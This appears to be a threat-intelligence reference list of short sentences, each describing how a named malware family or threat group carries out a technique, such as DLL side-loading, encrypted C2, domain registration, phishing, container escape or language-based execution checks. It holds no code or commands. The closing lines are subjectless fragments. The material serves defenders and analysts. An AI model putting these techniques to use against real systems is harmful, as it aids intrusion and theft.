DarkWatchman can use TLS to encrypt its C2 channel.


During Operation Wocao, threat actors' proxy implementation "Agent" upgraded the socket in use to a TLS socket.


Empire can use TLS to encrypt its C2 channel.


FIN8 has used the Plink utility to tunnel RDP back to C2 infrastructure.


GoldMax has RSA-encrypted its communication with the C2 server.


GreyEnergy encrypts communications using RSA-2048.


GrimAgent can use a hardcoded server public RSA key to encrypt the first request to C2.


IcedID has used SSL and TLS in communications with C2.


Kobalos's authentication and key exchange is performed using RSA-512.


Machete has used TLS-encrypted FTP to exfiltrate data.


Metamorfo's C2 communication has been encrypted using OpenSSL.


OilRig used the Plink utility and other tools to create tunnels to C2 servers.


POSHSPY encrypts C2 traffic with AES and RSA.


POWERSTATS has encrypted C2 traffic with RSA.


Pay2Key has used RSA encrypted communications with C2.


Penquin can encrypt communications using the BlowFish algorithm and a symmetric key exchanged with Diffie Hellman.


PoetRAT used TLS to encrypt command and control (C2) communications.


Pupy's default encryption for its C2 communication channel is SSL, but it also has transport options for RSA and AES.


REvil has encrypted C2 communications with the ECIES algorithm.


Rising Sun variants can use SSL for encrypting C2 communications.


Sliver can use mutual TLS and RSA  cryptography to exchange a session key.


Small Sieve can use SSL/TLS for its HTTPS Telegram Bot API-based C2 channel.


Some Volgmer variants use SSL to encrypt C2 communications.


StrongPity has encrypted C2 traffic using SSL/TLS.


Sykipot uses SSL for encrypting C2 communications.


TinyTurla has the ability to encrypt C2 traffic with SSL/TLS.


Trojan.Karagany can secure C2 communications with SSL and TLS.


Tropic Trooper has used SSL to connect to C2 servers.


WannaCry uses Tor for command and control traffic and routes a custom cryptographic protocol over the Tor circuit.


WellMail can use hard coded client and certificate authority certificates to communicate with C2 over mutual TLS.


WellMess can communicate to C2 with mutual TLS where client and server mutually check certificates.


XTunnel uses SSL/TLS and RC4 to encrypt traffic.


Zebrocy uses SSL and AES ECB for encrypting C2 communications.


adbupd contains a copy of the OpenSSL library to encrypt C2 traffic.


ShimRat can hijack the cryptbase.dll within migwiz.exe to escalate privileges and bypass UAC controls.


A FinFisher variant uses DLL search order hijacking.


APT41 has used search order hijacking to execute malicious payloads, such as Winnti RAT.


Crutch can persist via DLL search order hijacking on Google Chrome, Mozilla Firefox, or Microsoft OneDrive.


Downdelph uses search order hijacking of the Windows executable sysprep.exe to escalate privileges.


Empire contains modules that can discover and exploit various DLL hijacking opportunities.


FoggyWeb's loader has used DLL Search Order Hijacking to load malicious code instead of the legitimate `version.dll` during the `Microsoft.IdentityServer.ServiceHost.exe` execution process.


Hikit has used DLL Search Order Hijacking to load "oci.dll" as a persistence mechanism.


InvisiMole can be launched by using DLL search order hijacking in which the wrapper DLL is placed in the same folder as explorer.exe and loaded during startup into the Windows Explorer process instead of the legitimate library.


Melcoz can use DLL hijacking to bypass security controls.


MirageFox is likely loaded via DLL hijacking into a legitimate McAfee binary.


PlugX has the ability to use DLL search order hijacking for installation on targeted systems.


PowerSploit contains a collection of Privesc-PowerUp modules that can discover and exploit DLL hijacking opportunities in services and processes.


RTM has used search order hijacking to force TeamViewer to load a malicious DLL.


RedLeaves is launched through use of DLL search order hijacking to load a malicious dll.


Threat Group-3390 has performed DLL search order hijacking to execute their payload.


Variants of WEBC2 achieve persistence by using DLL search order hijacking, usually by copying the DLL file to "%SYSTEMROOT%" ("C:\WINDOWS\ntshrui.dll").


WastedLocker has performed DLL hijacking before execution.


Whitefly has used search order hijacking to run the loader Vcrodat.


A Patchwork .dll that contains BADNEWS is loaded and executed using DLL side-loading.


A gh0st RAT variant has used DLL side-loading.


APT19 launched an HTTP malware variant and a Port 22 malware variant using a legitimate executable that loaded the malicious DLL.


APT3 has been known to side load DLLs with a valid version of Chrome with one of their tools.


APT32 ran legitimately-signed executables from Symantec and McAfee which load a malicious DLL. The group also side-loads its backdoor by dropping a library and a legitimate, signed executable (AcroTranscoder).


APT41 used legitimate executables to perform DLL side-loading of their malware.


BADNEWS typically loads its DLL file into a legitimate signed Java or VMware executable.


BRONZE BUTLER has used legitimate applications to side-load malicious DLLs.


BlackTech has used DLL side loading by giving DLLs hardcoded names and placing them in searched directories.


Clambling can store a file named `mpsvc.dll`, which opens a malicious `mpsvc.mui` file, in the same folder as the legitimate Microsoft executable `MsMpEng.exe` to gain execution.


Denis exploits a security vulnerability to load a fake DLL and execute its code.


During Operation CuckooBees, the threat actors used the legitimate Windows services `IKEEXT` and `PrintNotify` to side-load malicious DLLs.


During the T9000 installation process, it drops a copy of the legitimate Microsoft binary igfxtray.exe. The executable contains a side-loading weakness which is used to load a portion of the malware.


Earth Lusca has placed a malicious payload in `%WINDIR%\SYSTEM32\oci.dll` so it would be sideloaded by the MSDTC service.


Ecipekac can abuse the legitimate application policytool.exe to load a malicious DLL.


Egregor has used DLL side-loading to execute its payload.


FinFisher uses DLL side-loading to load malicious programs.


Goopy has the ability to side-load malicious DLLs with legitimate applications from Kaspersky, Microsoft, and Google.


Higaisa’s JavaScript file used a legitimate Microsoft Office 2007 package to side-load the "OINFO12.OCX" dynamic link library.


HyperBro has used a legitimate application to sideload a DLL to decrypt, decompress, and run a payload.


Javali can use DLL side-loading to load malicious DLLs into legitimate executables.


Kerrdown can use DLL side-loading to load malicious DLLs.


LookBack side loads its communications module as a DLL into the "libcurl.dll" loader.


Metamorfo has side-loaded its malicious DLL file.


MuddyWater maintains persistence on victim networks through side-loading dlls to trick legitimate programs into running malware.


Mustang Panda has used a legitimately signed executable to execute a malicious payload within a DLL file.


Nebulae can use DLL side-loading to gain execution.


Pandora can use DLL side-loading to execute malicious payloads.


PowGoop can side-load `Goopdate.dll` into `GoogleUpdate.exe`.


RCSession can be installed via DLL side-loading.


RainyDay can use side-loading to run malicious executables.


Sakula uses DLL side-loading, typically using a digitally signed sample of Kaspersky Anti-Virus (AV) 6.0 for Windows Workstations or McAfee's Outlook Scan About Box to load malicious DLL files.


SideCopy has used a malicious loader DLL file to execute the `credwiz.exe` process and side-load the malicious payload `Duser.dll`.


Sidewinder has used DLL side-loading to drop and execute malicious payloads including the hijacking of the legitimate Windows application file rekeywiz.exe.


SysUpdate can load DLLs through vulnerable legitimate executables.


Threat Group-3390 has used DLL side-loading, including by using legitimate Kaspersky antivirus variants in which the DLL acts as a stub loader that loads and executes the shell code.


Tropic Trooper has been known to side-load DLLs using a valid version of a Windows Address Book and Windows Defender executable with one of their tools.


Waterbear has used DLL side loading to import and load a malicious DLL loader.


Wingbird side loads a malicious file, sspisrv.dll, in part of a spoofed lssas.exe service.


ZeroT has used DLL side-loading to load malicious payloads.


menuPass has used DLL side-loading to launch versions of Mimikatz and PwDump6 as well as UPPERCUT.


APT41 has configured payloads to load via LD_PRELOAD.


XCSSET adds malicious file paths to the "DYLD_FRAMEWORK_PATH" and "DYLD_LIBRARY_PATH" environment variables to execute malicious code.


Empire contains modules that can discover and exploit search order hijacking vulnerabilities.


Empire contains modules that can discover and exploit unquoted path vulnerabilities.


One variant of BlackEnergy locates existing driver services that have been disabled and drops its driver component into one of those service's paths, replacing the legitimate executable. The malware then sets the hijacked service to start automatically to establish persistence.


Lazarus Group has abused the "KernelCallbackTable" to hijack process control flow and execute shellcode.


LAPSUS$ has created new virtual machines within the target's cloud environment after leveraging credential access to cloud assets.


LAPSUS$ has deleted the target's systems and resources in the cloud to trigger the organization's incident and crisis response process.


APT1 has registered hundreds of domains for use in operations.


APT28 registered domains imitating NATO, OSCE security websites, Caucasus information resources, and other organizations.


APT29 has acquired C2 domains, sometimes through resellers.


APT32 has set up and operated websites to gather information and deliver malware.


Dragonfly has registered domains for targeting intended victims.


Earth Lusca has registered domains, intended to look like legitimate target domains, that have been used in watering hole attacks.


FIN7 has registered look-alike domains for use in phishing campaigns.


Ferocious Kitten has acquired domains imitating legitimate sites.


For CostaRicto, the threat actors established domains, some of which appeared to spoof legitimate domains.


For Operation Dust Storm, the threat actors established domains as part of their operational infrastructure.


For Operation Spalax, the threat actors registered hundreds of domains using Duck DNS and DNS Exit.


Gamaredon Group has registered multiple domains to facilitate payload staging and C2.


HEXANE has registered and operated domains for campaigns, often using a security or web technology theme or impersonating the targeted organization.


IndigoZebra has established domains, some of which were designed to look like official government domains, for their operations.


Lazarus Group has acquired domains related to their campaigns to act as distribution points and C2 channels.


Leviathan has established domains that impersonate legitimate entities to use for targeting efforts.


Magic Hound has registered fraudulent domains such as "mail-newyorker.com" and "news12.com.recover-session-service.site" to target specific victims with phishing attacks.


Mustang Panda have acquired C2 domains prior to operations.


Silent Librarian has acquired domains to establish credential harvesting pages, often spoofing the target organization and using free top level domains .TK, .ML, .GA, .CF, and .GQ.


TA505 has registered domains to impersonate services such as Dropbox to distribute malware.


TeamTNT has obtained domains to host their payloads.


UNC2452 has acquired C2 domains through resellers.


menuPass has registered malicious domains for use in intrusion campaigns.


Axiom has acquired dynamic DNS services for use in the targeting of intended victims.


HEXANE has set up custom DNS servers to send commands to compromised hosts via TXT records.


Axiom has used VPS hosting providers in targeting of intended victims.


Dragonfly has acquired VPS infrastructure for use in malicious campaigns.


HAFNIUM has operated from leased virtual private servers (VPS) in the United States.


Earth Lusca has acquired multiple servers for some of their operations, using each server for a different role.


For Operation Honeybee, at least one identified persona was used to register for a free account for a control server.


Lazarus Group has acquired servers to host their malicious tools.


Sandworm Team has leased servers from resellers instead of leasing infrastructure directly from hosting companies to enable its operations.


APT17 has created profile pages in Microsoft TechNet that were used as C2 infrastructure.


APT28 has used newly-created Blogspot pages for credential harvesting operations.


APT29 has registered algorithmically generated Twitter handles that are used for C2 by malware, such as HAMMERTOSS.


Earth Lusca has established GitHub accounts to host their malware.


For Operation Sharpshooter, the threat actors used Dropbox to host lure documents and their first-stage downloader.


HAFNIUM has acquired web services for use in C2 and exfiltration.


IndigoZebra created Dropbox accounts for their operations.


LazyScripter has established GitHub accounts to host its toolsets.


Magic Hound has acquired Amazon S3 buckets to use in C2.


POLONIUM has created and used legitimate Microsoft OneDrive accounts for their operations.


Turla has created web accounts including Dropbox and GitHub for C2 and document exfiltration.


ZIRCONIUM has used GitHub to host malware linked in spearphishing e-mails.


APT1 hijacked FQDNs associated with legitimate websites hosted by hop points.


APT29 has compromised domains to use for C2.


Kimsuky has compromised legitimate sites and used them to distribute malware.


Lazarus Group has compromised legitimate domains, including those hosted in the US and Italy, for C2.


Magic Hound has used compromised domains to host links targeted to specific phishing victims.


SideCopy has compromised domains for some of their infrastructure, including for C2 and staging malware.


Transparent Tribe has compromised domains for use in targeted malicious campaigns.


UNC2452 has compromised domains to use for C2.


APT16 has compromised otherwise legitimate sites as staging servers for second-stage payloads.


Dragonfly has compromised legitimate websites to host C2 and malware modules.


During Night Dragon, threat actors compromised web servers to use for C2.


Earth Lusca has used compromised web servers as part of their operational infrastructure.


Indrik Spider has served fake updates via legitimate websites that have been compromised.


Turla has used compromised servers as infrastructure.


Sandworm Team has used a large-scale botnet to target Small Office/Home Office (SOHO) network devices.


Turla has frequently used compromised WordPress sites for C2 infrastructure.


APT32 has set up Facebook pages in tandem with fake websites.


Fox Kitten has used a Twitter account to communicate with ransomware victims.


HEXANE has established fraudulent LinkedIn accounts impersonating HR department employees to target potential victims with fake job offers.


Kimsuky has created social media accounts to monitor news and security trends as well as potential targets.


Lazarus Group has created new LinkedIn and Twitter accounts to conduct social engineering against potential victims.


APT1 has created email accounts for later use in social engineering, phishing, and when registering domains.


EXOTIC LILY has created e-mail accounts to spoof targeted organizations.


For FunnyDream, the threat actors likely established an identified email account to register a variety of domains that were used during the campaign.


HEXANE has established email accounts for use in domain registration including for ProtonMail addresses.


Kimsuky has created email accounts for phishing operations.


Leviathan has created new email accounts for targeting efforts.


Magic Hound has established email accounts using fake personas for spearphishing operations.


Mustang Panda has leveraged the legitimate email marketing service SMTP2Go for phishing campaigns.


Sandworm Team has created email accounts that mimic legitimate organizations for its spearphishing operations.


Leviathan has compromised social media accounts to conduct social engineering attacks.


APT28 has used compromised email accounts to send credential phishing emails.


HEXANE has used compromised accounts to send spearphishing emails.


IndigoZebra has compromised legitimate email accounts to use in their spearphishing operations.


Kimsuky has compromised email accounts to send spearphishing e-mails.


Leviathan has compromised email accounts to conduct social engineering attacks.


Kimsuky created and used a mailing toolkit to use in spearphishing attacks.


APT29 has leveraged numerous pieces of malware that appear to be unique to APT29 and were likely developed for or by the group.


Aoqin Dragon has used custom malware, including Mongall and Heyoka Backdoor, in their operations.


Cleaver has created customized tools and payloads for functions including ARP poisoning, encryption, credential dumping, ASP.NET shells, web backdoors, process enumeration, WMI querying, HTTP and SMB communications, network interface sniffing, and keystroke logging.


During Operation Wocao, threat actors developed their own custom webshells to upload to compromised servers.


FIN7 has developed malware for use in operations, including the creation of infected removable media.


For CostaRicto, the threat actors used custom malware, including PS1, CostaBricks, and SombRAT.


For Operation Sharpshooter, the threat actors used the Rising Sun modular backdoor.


Ke3chang has developed custom malware that allowed them to maintain persistence on victim networks.


Moses Staff has built malware, such as DCSrv and PyDCrypt, for targeting victims' machines.


Night Dragon used privately developed and customized remote access tools.


Sandworm Team has developed malware for its operations, including malicious mobile applications and destructive malware such as NotPetya and Olympic Destroyer.


TeamTNT has developed custom malware such as Hildegard.


Turla has developed its own unique malware for use in operations.


UNC2452 developed SUNSPOT, SUNBURST, TEARDROP, and Raindrop; SUNSPOT and SUNBURST were tailored to be incorporated into SolarWind's Orion software library.


PROMETHIUM has created self-signed certificates to sign malicious installers.


Patchwork has created self-signed certificates from fictitious and spoofed legitimate software companies that were later used to sign malware.


APT29 has created self-signed digital certificates to enable mutual TLS authentication for malware.


For C0011, Transparent Tribe established SSL certificates on the typo-squatted domains the group registered.


PROMETHIUM has created self-signed digital certificates for use in HTTPS C2 traffic.


APT1 used publicly available malware for privilege escalation.


During Night Dragon, threat actors used Trojans from underground hacker websites.


For C0015, the threat actors used Cobalt Strike and Conti ransomware.


For FunnyDream, the threat actors used a new backdoor named FunnyDream.


For Operation Spalax, the threat actors obtained malware, including Remcos, njRAT, and AsyncRAT.


LAPSUS$ acquired and used the Redline password stealer in their operations.


LazyScripter has used a variety of open-source remote access Trojans for its operations.


TA505 has used malware such as Azorult and Cobalt Strike in their operations.


Turla has used malware obtained after compromising other threat actors, such as OilRig.


APT-C-36 obtained and used a modified variant of Imminent Monitor.


APT1 has used various open-source tools for privilege escalation purposes.


APT19 has obtained and used publicly-available tools like Empire.


APT28 has obtained and used open-source tools like Koadic, Mimikatz, and Responder.


APT29 has obtained and used a variety of tools including Mimikatz, SDelete, Tor, meek, and Cobalt Strike.


APT32 has obtained and used tools such as Mimikatz and Cobalt Strike, and a variety of other open-source tools from GitHub.


APT33 has obtained and leveraged publicly-available tools for early intrusion activities.


APT38 has obtained and used open-source tools such as Mimikatz.


Aoqin Dragon obtained the Heyoka open source exfiltration tool and subsequently modified it for their operations.


BITTER has obtained tools such as PuTTY for use in their operations.


BRONZE BUTLER has obtained and used open-source tools such as Mimikatz, gsecdump, and Windows Credential Editor.


BackdoorDiplomacy has obtained a variety of open-source reconnaissance and red team tools for discovery and lateral movement.


BlackTech has obtained and used tools such as Putty, SNScan, and PsExec for its operations.


Carbanak has obtained and used open-source tools such as PsExec and Mimikatz.


Cobalt Group has obtained and used a variety of tools including Mimikatz, PsExec, Cobalt Strike, and SDelete.


CopyKittens has used Metasploit, Empire, and AirVPN for post-exploitation activities.


CostaRicto has obtained open source tools to use in their operations.


DarkHydrus has obtained and used tools such as Mimikatz, Empire, and Cobalt Strike.


Dragonfly has obtained and used tools such as Mimikatz, CrackMapExec, and PsExec.


During CostaRicto, the threat actors obtained open source tools to use in their operations.


Earth Lusca has acquired and used a variety of open source tools.


Ember Bear has obtained and used open source scripts from GitHub.


FIN10 has relied on publicly-available software to gain footholds and establish persistence in victim environments.


FIN5 has obtained and used a customized version of PsExec, as well as use other tools such as pwdump, SDelete, and Windows Credential Editor.


FIN6 has obtained and used tools such as Mimikatz, Cobalt Strike, and AdFind.


Ferocious Kitten has obtained open source tools for its operations, including JsonCPP and Psiphon.


For C0015, the threat actors obtained a variety of tools, including AdFind,  AnyDesk, and Process Hacker.


For Frankenstein, the threat actors obtained and used Empire.


For FunnyDream, the threat actors used a modified version of the open source PcShare remote administration tool.


For Operation Spalax, the threat actors obtained packers such as CyaX.


For Operation Wocao, the threat actors obtained a variety of open source tools, including JexBoss, KeeThief, and BloodHound.


Frankenstein has obtained and used Empire to deploy agents.


GALLIUM has used a variety of widely-available tools, which in some cases they modified to add functionality and/or subvert antimalware solutions.


Gorgon Group has obtained and used tools such as QuasarRAT and Remcos.


Kimsuky has obtained and used tools such as Nirsoft WebBrowserPassVIew, Mimikatz, and PsExec.


LAPSUS$ has obtained tools such as AD Explorer inspection software for their operations.


Leafminer has obtained and used tools such as LaZagne, Mimikatz, PsExec, and MailSniper.


Moses Staff has used the commercial tool DiskCryptor.


MuddyWater has made use of legitimate tools ConnectWise and Remote Utilities to gain access to target environment.


Night Dragon has obtained and used tools such as gsecdump.


POLONIUM has obtained and used tools such as AirVPN and plink in their operations.


PittyTiger has obtained and used tools such as Mimikatz and gsecdump.


Sandworm Team has acquired open-source tools for some of it's operations; for example it acquired Invoke-PSImage to establish an encrypted channel from a compromised host to Sandworm Team's C2 server as part of its preparation for the 2018 Winter Olympics attack.


Silent Librarian has obtained free and publicly available tools including SingleFile and HTTrack to copy login pages of targeted organizations.


TA505 has used a variety of tools in their operations, including AdFind, BloodHound, Mimikatz, and PowerSploit.


TEMP.Veles has obtained and used tools such as Mimikatz and PsExec.


Threat Group-3390 has obtained and used tools such as Impacket, pwdump, Mimikatz, gsecdump, NBTscan, and Windows Credential Editor.


Turla has obtained and customized publicly-available tools like Mimikatz.


WIRTE has obtained and used Empire for post-exploitation activities.


Whitefly has obtained and used tools such as Mimikatz.


Wizard Spider has obtained and used publicly-available post-exploitation frameworks and tools like Metasploit, Empire, Mimikatz.


menuPass has used and modified open-source tools like Impacket, Mimikatz, and pwdump.


Ember Bear has stolen legitimate certificates to sign malicious payloads.


Lazarus Group has used code signing certificates issued by Sectigo RSA for some of its malware and tools.


MegaCortex has used code signing certificates issued to fake companies to bypass security controls.


Wizard Spider obtained a code signing certificate signed by Digicert for some of its malware.


BlackTech has used valid, stolen digital certificates for some of their malware and tools.


Kimsuky has obtained exploit code for various CVEs.


In 2017, Sandworm Team conducted technical research related to vulnerabilities associated with websites used by the Korean Sport and Olympic Committee, a Korean power company, and a Korean airport.


APT32 has conducted targeted surveillance against activists and bloggers.


HEXANE has identified specific potential victims at targeted organizations.


LAPSUS$ has gathered detailed information of target employees to enhance their social engineering lures.


APT28 has harvested user's login credentials.


APT29 has conducted credential theft operations to obtain credentials to be used for access to victim environments.


Chimera has collected credentials for the target organization from previous breaches for use in brute force attacks.


LAPSUS$ has gathered user identities and credentials to gain initial access to a victim's organization; the group has also called an organization's help desk to reset a target's credentials.


Magic Hound gathered credentials from two victims that they then attempted to validate across 75 different websites.


AADInternals can check for the existence of user email addresses using public Microsoft APIs.


APT32 has collected e-mail addresses for activists and bloggers in order to target them with spyware.


EXOTIC LILY has gathered targeted individuals' e-mail addresses through open source research and website contact forms.


HEXANE has targeted executives, human resources staff, and IT personnel for spearphishing.


Kimsuky has collected valid email addresses that were subsequently used in spearphishing campaigns.


Lazarus Group collected email addresses belonging to various departments of a targeted organization which were used in follow-on phishing campaigns.


Sandworm Team has obtained valid emails addresses while conducting research against target organizations that were subsequently used in spearphishing campaigns.


Silent Librarian has collected e-mail addresses from targeted organizations from open Internet searches.


Sandworm Team's research of potential victim organizations included the identification and collection of employee information.


Silent Librarian has collected lists of names for individuals from targeted organizations.


AADInternals can gather information about a tenant’s domains using public Microsoft APIs.


Sandworm Team conducted technical reconnaissance of the Parliament of Georgia's official internet domain prior to its 2019 attack.


Andariel has limited its watering hole attacks to specific IP address ranges.


Lazarus Group has studied publicly available information about a targeted organization to tailor spearphishing efforts against specific departments and/or individuals.


Dragonfly has collected open source information to identify relationships between organizations for targeting purposes.


LAPSUS$ has gathered detailed knowledge of an organization's supply chain relationships.


HEXANE has identified executives, HR, and IT staff at victim organizations for further targeting.


LAPSUS$ has gathered detailed knowledge of team structures within a target organization.


Lazarus Group has targeted specific individuals within an organization with tailored job vacancy announcements.


Andariel has inserted a malicious script within compromised websites to collect potential victim information such as browser type, system language, Flash Player version, and other data.


Sandworm Team has researched software code to enable supply-chain operations, most notably for the 2017 NotPetya attack. Sandworm Team also collected a list of computers using specific software as part of its targeting efforts.


HAFNIUM has interacted with Office 365 tenants to gather details regarding target's environments.


EXOTIC LILY has copied data from social media sites to impersonate targeted individuals.


Kimsuky has used Twitter to monitor potential victims and to prepare targeted phishing e-mails.


Lazarus Group has used LinkedIn to identify and target specific employees within a chosen organization.


Kimsuky has searched for vulnerabilities, tools, and geopolitical trends on Google to target victims.


LAPSUS$ has searched public code repositories for exposed credentials.


EXOTIC LILY has used contact forms on victim websites to generate phishing e-mails.


Kimsuky has searched for information on the target company's website.


Sandworm Team has conducted research against potential victim websites as part of its operational planning.


TeamTNT has scanned specific lists of target IP addresses.


APT28 has performed large-scale scans in an attempt to find vulnerable servers.


APT29 has conducted widespread scanning of target environments to identify vulnerabilities for exploit.


Earth Lusca has scanned for vulnerabilities in the public-facing servers of their targets.


Magic Hound has conducted widespread scanning to identify public-facing systems vulnerable to Log4j (CVE-2021-44228).


Sandworm Team has scanned network infrastructure for vulnerabilities as part of its operational planning.


TeamTNT has scanned for vulnerabilities in IoT devices and other related resources such as the Docker API.


Volatile Cedar has used DirBuster and GoBuster to brute force web directories and DNS subdomains.


EXOTIC LILY has searched for information on targeted individuals on business databases including RocketReach and CrunchBase.


LAPSUS$ has purchased credentials and session tokens from criminal underground forums.


APT28 has used spearphishing to compromise credentials.


ZIRCONIUM targeted presidential campaign staffers with credential phishing e-mails.


Astaroth has been delivered via malicious e-mail attachments.


Dragonfly has used spearphishing with Microsoft Office attachments to enable harvesting of user credentials.


Sidewinder has sent e-mails with malicious attachments that lead victims to credential harvesting websites.


AADInternals can send phishing emails containing malicious links designed to collect users’ credentials.


APT28 has conducted credential phishing campaigns with embedded links to attacker-controlled domains.


APT32 has used malicious links to direct users to web pages designed to harvest credentials.


Dragonfly has used spearphishing with PDF attachments containing malicious links that redirected to credential harvesting websites.


Kimsuky has used links in e-mail to steal account information.


Magic Hound has used SMS and email messages with links designed to steal credentials.


SMOKEDHAM has been delivered via malicious links in phishing emails.


Sandworm Team has crafted spearphishing emails with hyperlinks designed to trick unwitting recipients into revealing their account credentials.


Sidewinder has sent e-mails with malicious links to credential harvesting websites.


Silent Librarian has used links in e-mails to direct victims to credential harvesting websites designed to appear like the targeted organization's login page.


SYNful Knock is malware that is inserted into a network device by patching the operating system image.


APT29 has bypassed MFA set on OWA accounts by generating a cookie value from a previously stolen secret key.


AADInternals can be used to create SAML tokens using the AD Federated Services token signing certificate.


APT29 created tokens using compromised SAML signing certificates.


UNC2452 created tokens using compromised SAML signing certificates.


Mustang Panda has used servers under their control to validate tracking pixels sent to phishing victims.


APT32 has hosted malicious payloads in Dropbox, Amazon S3, and Google Drive for use during targeting.


BITTER has registered domains to stage payloads.


During Night Dragon, threat actors uploaded commonly available hacker tools to compromised web servers.


EXOTIC LILY  has uploaded malicious payloads to file-sharing services including TransferNow, TransferXL, WeTransfer, and OneDrive.


Earth Lusca has staged malware and malicious files on compromised web servers, GitHub, and Google Drive.


For C0011, Transparent Tribe hosted malicious documents on domains registered by the group.


For Operation Sharpshooter, the threat actors staged malicious files on Dropbox and other websites.


For Operation Spalax, the threat actors staged malware and malicious files in legitimate hosting services such as OneDrive or MediaFire.


Gamaredon Group has registered domains to stage payloads.


HEXANE has staged malware on fraudulent websites set up to impersonate targeted organizations.


Kimsuky has used Blogspot to host malicious content such as beacons, file exfiltrators, and implants.


Lazarus Group has hosted malicious files on compromised as well as Lazarus Group-controlled servers.


LazyScripter has hosted open-source remote access Trojans used in its operations in GitHub.


SideCopy has used compromised domains to host its malicious payloads.


TA505 has staged malware on actor-controlled domains.


TeamTNT has uploaded backdoored Docker images to Docker Hub.


Threat Group-3390 has hosted malicious payloads on Dropbox.


For C0010, UNC3890 actors staged tools on their infrastructure to download directly onto a compromised system.


Lazarus Group has hosted custom and open-source tools on compromised as well as Lazarus Group-controlled servers.


Threat Group-3390 has staged tools, including gsecdump and WCE, on previously compromised websites.


Dragonfly has compromised websites to redirect traffic and to host exploit kits.


For C0010, the threat actors compromised the login page of a legitimate Israeli shipping company and likely established a watering hole that collected visitor information.


Threat Group-3390 has embedded malicious code into websites to screen a potential victim's IP address and then exploit their browser if they are of interest.


Transparent Tribe has set up websites with malicious hyperlinks and iframes to infect targeted victims with Crimson, njRAT, and other malicious tools.


Silent Librarian has cloned victim organization login pages and staged them for later use in credential harvesting campaigns. Silent Librarian has also made use of a variety of URL shorteners for these staged websites.


Hildegard was executed through the kubelet API run command and by executing commands on running containers.


Kinsing was executed with an Ubuntu container entry point that runs shell scripts.


Siloscape can send kubectl commands to victim clusters through an IRC channel and can run kubectl locally to spread once within a victim cluster.


Kinsing was run through a deployed Ubuntu container.


Peirates can deploy a pod that mounts its node’s root file system, then execute a command to create a reverse shell on the node.


TeamTNT has deployed different types of containers into victim environments to facilitate execution. TeamTNT has also transferred cryptocurrency mining software to Kubernetes clusters discovered within local IP address ranges.


Doki’s container was configured to bind the host root directory.


Hildegard has used the BOtB tool that can break out of containers.


Peirates can gain a reverse shell on a host node by mounting the Kubernetes hostPath.


TeamTNT has deployed privileged containers that mount the filesystem of victim machine.


Hildegard has used masscan to search for kubelets and the kubelet API for additional running containers.


TeamTNT has checked for running containers with "docker ps" and for specific container names with "docker inspect". TeamTNT has also searched for Kubernetes pods running in a local network.


Crimson can identify the geographical location of a victim host.


GrimAgent can identify the country code on a compromised host.


QuasarRAT can determine the country a victim host is located in.


SDBbot can collected the country code of a compromised machine.


Saint Bot has conducted system locale checks to see if the compromised host is in Russia, Ukraine, Belarus, Armenia, Kazakhstan, or Moldova.


Clop has checked the keyboard language using the GetKeyboardLayout() function to avoid installation on Russian-language or other Commonwealth of Independent States-language machines; it will also check the "GetTextCharset" function.


Flagpro can check whether the target system is using Japanese, Taiwanese, or English through detection of specific Windows Security and Internet Explorer dialog.


GrimAgent has used "Accept-Language" to identify hosts in the United Kingdom, United States, France, and Spain.


Ke3chang has used implants to collect the system language ID of a compromised machine.


Lazarus Group has deployed malware designed not to run on computers set to Korean, Japanese, or Chinese in Windows language preferences.


Maze has checked the language of the machine with function "GetUserDefaultUILanguage" and terminated execution if the language matches with an entry in the predefined list.


Misdat has attempted to detect if a compromised host had a Japanese keyboard via the Windows API call `GetKeyboardType`.


Neoichor can identify the system language on a compromised host.


Ryuk has been observed to query the registry key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language" and the value "InstallLanguage". If the machine has the value 0x419 (Russian), 0x422 (Ukrainian), or 0x423 (Belarusian), it stops execution.


SharpStage  has been used to target Arabic-speaking users and used code that checks if the compromised machine has the Arabic language installed.


Some versions of DEATHRANSOM have performed language ID and keyboard layout checks; if either of these matched Russian, Kazakh, Belarusian, Ukrainian or Tatar DEATHRANSOM would exit.


Spark has checked the results of the "GetKeyboardLayoutList" and the language name returned by "GetLocaleInfoA" to make sure they contain the word “Arabic” before executing.


XCSSET uses AppleScript to check the host's language and location with the command "user locale of (get system info)".


Zeus Panda queries the system's keyboard mapping to determine the language used on the system. It will terminate execution if it detects LANG_RUSSIAN, LANG_BELARUSIAN, LANG_KAZAK, or LANG_UKRAINIAN.


Emissary has the capability to execute "gpresult".


Empire includes various modules for enumerating Group Policy.


Turla surveys a system upon check-in to discover Group Policy details using the "gpresult" command.


Cobalt Strike's "execute-assembly" command can run a .NET executable within the memory of a sacrificial process by loading the CLR.


Cuba loaded the payload into memory using PowerShell.


Donut can generate code modules that enable in-memory execution of VBScript, JScript, EXE, DLL, and dotNET payloads.


FoggyWeb's loader has reflectively loaded .NET-based assembly/payloads into memory.


Gelsemium can use custom shellcode to map embedded DLLs into memory.


IceApple can use reflective code loading to load .NET assemblies into `MSExchangeOWAAppPool` on targeted Exchange servers.


Lazarus Group has changed memory protection permissions then overwritten in memory DLL function code with shellcode, which was later executed via KernelCallbackTable hijacking. Lazarus Group has also used shellcode within macros to decrypt and manually map DLLs into memory at runtime.


PowerSploit reflectively loads a Windows PE file into a process.


APT29 has used repeated MFA requests to gain access to victim accounts.


LAPSUS$ has spammed target users with MFA prompts in the hope that the legitimate user will grant necessary approval.


Saint Bot has used `is_debugger_present` as part of its environmental checks.


ThiefQuest uses a function named "is_debugging" to perform anti-debugging logic. The function invokes "sysctl" checking the returned value of "P_TRACED". ThiefQuest also calls "ptrace" with the "PTRACE_DENY_ATTACH" flag to prevent debugging.


XCSSET uses the "plutil" command to modify the "LSUIElement", "DFBundleDisplayName", and "CFBundleIdentifier" keys in the "/Contents/Info.plist" file to change how XCSSET is visible on the system.


AADInternals can create and export various authentication certificates, including those associated with Azure AD joined/registered devices.


APT29 has abused misconfigured AD CS certificate templates to impersonate admin users and create additional authentication certificates.


Mimikatz's `CRYPTO` module can create and export various types of authentication certificates.


creates a backdoor through which remote attackers can steal system information.


hides any strings related to its own indicators of compromise.


creates a backdoor through which remote attackers can open a command-line interface.


can download and execute a second-stage payload.


creates a backdoor through which remote attackers can upload files.


creates a Registry subkey that registers a new system device.


At installation, the MSI file drops three files and creates one hidden directory (UFile) into C:\ProgramData\Apple\Update\, likely as a ruse


If the user clicks on the link, he will be prompted to download a RAR file that contains the stage 1 malware/lure, which he will execute afterwards


For both the receiving of C2 commands and exfiltration, Remexi uses the Microsoft Background Intelligent Transfer Service (BITS) mechanism to communicate with the C2 over HTTP


The malware initiates its main function of capturing user keystrokes and sending them to the control server using standard Windows networking APIs


